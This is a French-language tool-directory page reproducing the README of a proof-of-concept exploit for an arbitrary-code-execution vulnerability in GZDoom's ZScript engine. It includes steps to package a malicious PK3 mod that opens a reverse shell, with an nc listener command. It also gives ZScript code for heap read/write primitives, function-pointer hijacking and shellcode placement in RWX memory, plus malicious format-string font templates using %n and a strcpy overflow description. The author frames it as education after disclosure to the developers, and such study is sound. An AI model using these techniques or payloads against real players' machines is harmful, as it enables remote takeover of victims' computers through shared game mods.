Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC — Preuve de concept pour CVE-2024-54756, une vulnérabilité que j'ai trouvée dans le moteur de script ZScript de GZDoom. | Kitploit
Outils/GitHubGitHub/chainmanner/gzdoom-arbitrary-code-execution-via-zscript-poc
Criminalistique MémoireAnalyse des VulnérabilitésExploitationRétro-ingénierieShellcodeApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
chainmanner/gzdoom-arbitrary-code-execution-via-zscript-poc

GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC

Preuve de concept pour CVE-2024-54756, une vulnérabilité que j'ai trouvée dans le moteur de script ZScript de GZDoom.

Voir le dépôt
12il y a 1 anPas encore vérifié

GZDoom <= 4.13.1 Exécution de code arbitraire via ZScript malveillant

Une preuve de concept pour une vulnérabilité d'exécution de code arbitraire que j'ai trouvée dans la fonctionnalité ZScript de GZDoom (https://github.com/zdoom/gzdoom). Un attaquant peut partager un fichier PK3 contenant un fichier source ZScript malveillant et accéder à l'ordinateur de la victime.

Un grand merci à Rachael et Agent Ash de l'équipe de développement de GZDoom pour leurs réponses rapides, ainsi qu'à eux et aux autres développeurs de GZDoom pour avoir rapidement résolu ce problème !

Versions affectées

Confirmé pour fonctionner avec les versions 4.13.0 et 4.13.1, et cela fonctionne probablement aussi pour les versions antérieures. Méfiez-vous de quiconque vous conseille de rétrograder vers la version 4.13.1 ou inférieure pour pouvoir jouer à leur WAD.

Cette preuve de concept ne fonctionne que sous Linux, mais la vulnérabilité existe probablement aussi sous Windows. Non testé sur ZDoom ou LZDoom, mais la vulnérabilité pourrait également y exister.

La vulnérabilité a été divulguée aux développeurs avant la publication de cette preuve de concept et ne devrait plus être présente dans la version 4.13.2. À ma connaissance, cette version n'inclut aucun changement pratique qui casse la compatibilité.

Avertissement

Cette preuve de concept est réalisée et publiée à des fins éducatives, afin que les développeurs de moteurs de jeu/script puissent comprendre comment les vulnérabilités peuvent survenir et que les joueurs puissent comprendre à quoi peut ressembler un mod de jeu malveillant. Je ne suis pas responsable de toute utilisation abusive de cette preuve de concept. Veuillez ne pas l'utiliser pour compromettre les PC de vos camarades joueurs ; c'est illégal (vous n'avez pas besoin que je vous le dise), et c'est particulièrement un sale coup de prendre le contrôle de l'ordinateur de quelqu'un via un jeu vidéo.

Utilisation de la preuve de concept

Pour utiliser cette preuve de concept, téléchargez ce dépôt et créez un fichier PK3 (qui est en réalité un fichier zip avec l'extension .pk3) contenant zscript.zs et MAPINFO :

root@kitploit:~
git clone https://github.com/Chainmanner/GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
cd GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
zip PoC.pk3 zscript.zs MAPINFO

La charge utile par défaut est d'exécuter un reverse shell vers localhost sur le port 1337. Démarrez l'écouteur :

root@kitploit:~
nc -nvlp 1337

Exécutez la preuve de concept comme suit :

root@kitploit:~
gzdoom -iwad <your-doom-or-freedoom-wad> -file PoC.pk3

Si cela a fonctionné, vous devriez maintenant avoir un reverse shell vers vous-même.

Cette preuve de concept est uniquement pour Linux. Il se peut qu'elle ne fonctionne pas du premier coup ; réessayez jusqu'à ce que cela fonctionne.

Explication

NOTE : Ceci est ma première analyse d'exploit et je travaille encore sur ma compétence pour faire des analyses de bas niveau. De plus, j'ai fait une grande partie de mon débogage avec GDB, et malheureusement je n'ai pas eu la bonne idée de sauvegarder des vidages mémoire pour mieux illustrer mon explication. Désolé ! Ma prochaine analyse sera meilleure, promis.

GZDoom est un port source de Doom conçu pour les performances et l'extensibilité. Grâce à ses fonctionnalités puissantes, de nombreux WADs, mods et même des conversions totales commerciales ont été réalisés. Malheureusement, là où il y a de la complexité, il y a des opportunités pour des vulnérabilités, et dans ce cas, deux étaient présentes dans le moteur de script ZScript, permettant une chaîne d'exploitation complète.

Cette attaque contourne l'ASLR et évite le besoin de contourner les canaris de pile. Je ne pense pas que la CFI de Clang ou les piles fantômes auraient aidé ici.

Vulnérabilités

La première et plus importante vulnérabilité résidait dans la gestion des très grands tableaux. Si vous allouez un tableau suffisamment petit, la région mémoire allouée a tendance à être remplie de zéros et est correctement séparée des autres objets ; aucune information ne peut être obtenue en lisant de la mémoire non initialisée, et aucun objet ne chevauche le tableau. Cependant, si vous allouez un énorme tableau - disons, 1073741823 mots de 32 bits ou plus - vous pourrez lire et écrire jusqu'à 4 Gio de mémoire potentiellement non initialisée à partir du point de départ du tableau, permettant à l'attaquant de modifier directement d'autres objets et de contourner l'ASLR en trouvant des adresses ayant des décalages connus. De plus, tout autre tableau créé après ce point chevauchera le grand tableau.

La deuxième vulnérabilité concernait les permissions de la carte mémoire. Pour de meilleures performances, le code ZScript est compilé JIT en bytecode x86 ou x86-64 chaque fois que possible. Pour ce faire, le code doit être écrit dans une région mémoire, et cette région mémoire doit être exécutable. Cependant, la règle W^X stipule qu'une région doit être soit accessible en écriture, soit exécutable, mais pas les deux. Si les deux sont appliquées en même temps (au lieu de rendre la région accessible en écriture, écrire le code, puis la rendre exécutable et non accessible en écriture), alors un attaquant disposant d'une primitive d'écriture arbitraire pourra l'escalader en exécution de code arbitraire ; il peut écrire du shellcode et y sauter en modifiant par exemple l'adresse de retour sur la pile (en supposant que l'attaquant n'a pas de primitive d'exécution arbitraire). Si vous regardez les mappages mémoire de GZDoom lorsqu'il tourne, vous pouvez voir plusieurs régions RWX :

root@kitploit:~
7fcd19700000-7fcd19800000 rwxp 00000000 00:00 0
7fcd1a100000-7fcd1a200000 rwxp 00000000 00:00 0
7fcd1eb00000-7fcd1ec00000 rwxp 00000000 00:00 0

Donc si des primitives d'écriture arbitraire et d'exécution arbitraire sont disponibles, et que l'attaquant sait où se trouve une région RWX, il peut écrire du shellcode arbitraire et l'exécuter. Rendre ces régions RW- lors de l'écriture du code compilé JIT puis R-X lorsqu'il est prêt à être exécuté arrêterait cette preuve de concept, mais cela n'empêcherait pas un attaquant d'obtenir une exécution de code en modifiant par exemple des données sur la pile (ROP) ou le tas.

Gadgets

De plus, il existe un gadget utile. Rappelez-vous comment, lors de l'allocation d'un grand tableau, tout autre tableau créé après lui le chevauchera ? Cela inclut les tableaux de pointeurs d'objets. Tout comme les objets C++, les objets ZScript peuvent contenir des variables et des pointeurs de fonction. Supposons que nous ayons cet objet :

root@kitploit:~
class WeirdObject
{
        uint one;
        uint two;
        uint three;
        uint four;
        Function<clearscope void()> funcptr;
}

Si nous créons un tableau contenant un pointeur vers une instance de WeirdObject, alors l'attaquant peut modifier le pointeur pour le faire pointer où il veut en utilisant le grand tableau et modifier les données pointées en accédant aux champs de l'objet, nous donnant une primitive de lecture/écriture arbitraire allant au-delà du tas. Les pointeurs dans ZScript sont vérifiés pour s'assurer qu'ils ne sont pas nuls, mais pas pour s'assurer qu'ils sont sains.

La présence d'un pointeur de fonction nous donne également une primitive d'exécution arbitraire ; cela est cependant un peu moins direct, nécessitant la création d'un faux VMFunction pour satisfaire la machine virtuelle. Dès qu'un appel à une fonction ZScript est introduit dans le code d'exploitation, ce code n'est plus compilé JIT. Cela fonctionne toujours, mais cela devient un peu plus compliqué à déboguer et à exploiter. Il pourrait y avoir une meilleure façon de faire cette partie, mais je n'ai pas assez étudié les rouages internes de GZDoom pour le savoir.

Une chose à noter : WeirdObject a des variables membres héritées, donc le premier membre commence à l'offset 0x28.

Exploit

Nous avons donc maintenant les outils suivants :

  • Lecture/écriture arbitraire pour une grande région du tas
  • Lecture/écriture/exécution arbitraire au-delà du tas
  • Régions RWX

Comment les enchaîner pour réaliser un exploit ?

Tout d'abord, parce que l'ASLR est activé, nous devons identifier où se trouve une région RWX. N'importe laquelle fera l'affaire. La partie du tas accessible au grand tableau contient des adresses pointant vers des fonctions dans une région RWX, mais elle contient aussi des adresses pointant vers d'autres régions ; comment discriminer ? Rappelez-vous que sous Linux, l'ASLR a 28 bits d'entropie (parfois moins !), ce qui signifie que bien que les bits du masque 0x7fffffe00000 dans une adresse soient aléatoires, les bits 0x0000001fffff seront statiques. Donc, avec l'ASLR désactivé, supposons que nous ayons les régions RWX suivantes :

root@kitploit:~
[0x7ffff2f00000, 0x7ffff3000000)
[0x7ffff3900000, 0x7ffff3a00000)
[0x7ffff4300000, 0x7ffff4400000)

Ensuite, nous pouvons utiliser le code ZScript suivant pour imprimer les pointeurs vers les fonctions ZScript compilées JIT dans les régions RWX :

root@kitploit:~
uint u32pBFA9000[1073741823];
uint u32RWX_L;
uint u32RWX_H;

for (i = 0; i < (1073741823 / 2); i += 2)
{
	u32RWX_L = u32pBFA9000[i];
	u32RWX_H = u32pBFA9000[i+1];

	if ((u32RWX_H & 0xffff8000) == 0)
	{
		if ((u32RWX_L & 0xffe00000) == 0xf2e00000)
		{
			Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
		}
		if ((u32RWX_L & 0xffe00000) == 0xf3800000)
		{
			Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
		}
		if ((u32RWX_L & 0xffe00000) == 0xf4200000)
		{
			Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
		}
	}
}

Obtenez les décalages en appliquant un ET logique entre les résultats imprimés et 0x1fffff, et vous pouvez utiliser ces décalages pour identifier les pointeurs vers les régions RWX. Plus vous connaissez de décalages, plus grandes sont les chances de succès de l'exploit.

Ensuite, nous devons préparer la primitive d'exécution arbitraire. Nous le faisons en modifiant le pointeur de fonction dans un objet gadget, comme le WeirdObject déclaré ci-dessus, en utilisant une primitive d'écriture arbitraire. Après la déclaration de u32pBFA9000, commencez par créer les objets gadgets d'écriture et d'exécution arbitraires :

root@kitploit:~
WeirdObject ppGadgetObjects[2];
ppGadgetObjects[0] = New("WeirdObject");        // Arbitrary write pointer.
ppGadgetObjects[1] = New("WeirdObject");        // Arbitrary execute object.

ppGadgetObjects chevauche u32pBFA9000 dès le début, et rappelez-vous que les membres spécifiques à WeirdObject commencent à l'offset 0x28. La primitive d'écriture arbitraire ressemble à ceci, où TARGET_ADDR est l'adresse d'écriture cible, QWORD est l'entier 64 bits à écrire, et _H/_L indiquent respectivement les 32 bits de poids fort et de poids faible d'un entier 64 bits :

root@kitploit:~
u32pBFA9000[0] = (TARGET_ADDR_L-0x28);
u32pBFA9000[1] = TARGET_ADDR_H;
ppGadgetObjects[0].one = QWORD_L;
ppGadgetObjects[0].two = QWORD_H;

J'avoue que je ne connais pas assez le fonctionnement des pointeurs de fonction de ZScript et cette partie est encore difficile à expliquer pour moi, mais je vais essayer de l'expliquer du mieux que je peux. Désolé si je vous embrouille davantage.

  • À l'offset 0x38 de la destination du pointeur de fonction du gadget d'exécution WeirdObject se trouve un pointeur vers une classe/struct que je n'ai pas pu identifier.
  • À l'offset 0x8 de cette classe/struct non identifiée se trouve un pointeur vers un VMFunction.
  • À l'offset 0xc du VMFunction se trouve le membre VarFlags sur 32 bits. Le mettre à zéro permet un chemin plus court pour appeler le shellcode.
  • À l'offset 0x58 du VMFunction se trouve le pointeur réel vers la fonction à appeler.

Je devrais vraiment faire un diagramme pour cela, mais pour l'instant je n'ai pas envie de faire de l'art ASCII. Voyez le code source de l'exploit pour voir à quoi ressemble ce qui précède.

Une fois ce qui précède réglé, nous pouvons alors modifier le pointeur de fonction dans l'objet gadget. Lorsque nous l'appelons, il exécutera notre shellcode une fois qu'il sera écrit.

La dernière étape consiste à écrire le shellcode lui-même. Étant donné que cette preuve de concept appelle une commande shell, certaines chaînes ("/bin/bash", "-c", la chaîne de commande) doivent également être écrites. Cette partie peut être facile ou difficile, selon ce que vous avez l'intention d'exécuter.

Lorsque tout cela est fait, vous appelez la fonction pointée par le gadget d'exécution WeirdObject, et vous avez maintenant exécuté votre propre shellcode.

Remarques sur les vulnérabilités potentielles supplémentaires

J'ai trouvé quelques vulnérabilités supplémentaires, mais je n'ai pas trouvé de moyen de les exploiter pour obtenir une chaîne ACE complète. La vulnérabilité de débordement de pile strcpy() a été corrigée dans la version 4.13.2. La vulnérabilité de chaîne de format mysnprintf() n'a pas été corrigée jusqu'à présent, mais bonne chance si vous essayez de l'exploiter.

Vulnérabilité de chaîne de format

Il y a une vulnérabilité de chaîne de format (deux, en fait) dans le constructeur FFont dans common/fonts/font.cpp :

root@kitploit:~
[...]
if (nametemplate != nullptr)
{
	if (!iwadonly)
	{
		for (i = 0; i < lcount; i++)
		{
			int position = lfirst + i;
			mysnprintf(buffer, countof(buffer), nametemplate, i + start);

			lump = TexMan.CheckForTexture(buffer, ETextureType::MiscPatch);
			[...]
		}
	}
	else
	{
		FGameTexture *texs[256] = {};
		if (lcount > 256 - start) lcount = 256 - start;
		for (i = 0; i < lcount; i++)
		{
			TArray<FTextureID> array;
			mysnprintf(buffer, countof(buffer), nametemplate, i + start);

			TexMan.ListTextures(buffer, array, true);
			[...]
		}
		[...]
	}
	[...]
}
[...]

L'argument TEMPLATE d'une entrée dans le lump FONTDEFS est passé directement à mysnprintf(). Cela signifie que l'on peut avoir une entrée comme celle-ci qui essaie de charger une police basée sur des variables de la pile :

root@kitploit:~
EVILFONT
{
	TEMPLATE LOL%hhx
}

Ou une entrée qui écrit le nombre de caractères écrits quelque part sur la pile, provoquant un crash :

root@kitploit:~
EVILFONT
{
        TEMPLATE ----AAAA%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%n
}

Le fait que la sortie soit limitée n'a pas d'importance ; les symboles pourcentage seront analysés quelle que soit la longueur maximale.

mysnprintf() est une implémentation personnalisée et du domaine public de snprintf() conçue pour les performances au détriment de la flexibilité. L'exploiter est beaucoup plus difficile que l'implémentation standard de libc. Par exemple, en utilisant %n, vous ne pouvez écrire que des mots 32 bits et vous ne pouvez pas écrire des éléments spécifiques de la pile en utilisant %<num>$n.

Écrasement de pile par strcpy()

Il y a aussi un appel risqué à strcpy() dans LevelStatEntry() dans gamedata/statistics.cpp dont la source peut être plus longue que la destination. La fonction :

root@kitploit:~
static void LevelStatEntry(FSessionStatistics *es, const char *level, const char *text, int playtime)
{
	FLevelStatistics s;
	time_t clock;
	struct tm *lt;

	time (&clock);
	lt = localtime (&clock);

	strcpy(s.name, level);
	strcpy(s.info, text);
	s.timeneeded=playtime;
	es->levelstats.Push(s);
}

La structure FLevelStatistics, allouée sur la pile, ressemble à ceci :

root@kitploit:~
struct FLevelStatistics
{
	char info[60];
	short skill;
	short playerclass;
	char name[24];
	int timeneeded;
};

Et LevelStatEntry() est appelée comme ceci, en utilisant LevelData.Levelname - qui est de type std::string - comme argument :

root@kitploit:~
[...]
for(unsigned i = 0; i < LevelData.Size(); i++)
{
	FString lsection = LevelData[i].Levelname;
	^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	lsection.ToUpper();
	infostring.Format("%4d/%4d, %4d/%4d, %3d/%3d",
		 LevelData[i].killcount, LevelData[i].totalkills, LevelData[i].itemcount, LevelData[i].totalitems, LevelData[i].secretcount, LevelData[i].totalsecrets);

	LevelStatEntry(es, lsection.GetChars(), infostring.GetChars(), LevelData[i].leveltime);
			   ^^^^^^^^^^^^^^^^^^^
}
SaveStatistics(statfile, EpisodeStatistics);
[...]

Il y a toute une chaîne d'autres appels nécessaires pour arriver à ce point, à partir de FLevelLocals::ChangeLevel() dans g_level.cpp, mais je ne vais pas me donner la peine de la montrer ici. Je dirai que le long de la chaîne d'exécution pour arriver ici, il n'y a ni vérifications ni limites concernant la longueur de LevelData.Levelname.

Sur un système moderne, cela ne devrait pas être exploitable ; les canaris de pile arrêteront toute tentative d'écrasement de pile, et l'ASLR empêchera l'utilisateur de savoir où retourner. De plus, vous n'avez qu'un seul gadget : l'écrasement de l'adresse de retour lors de la sortie de LevelStatEntry(). Sur les systèmes plus anciens, cependant, ces défenses peuvent ne pas être disponibles, et peut-être que le code ZScript compilé JIT pourrait fournir des gadgets pour l'exploitation.

Télécharger l’outil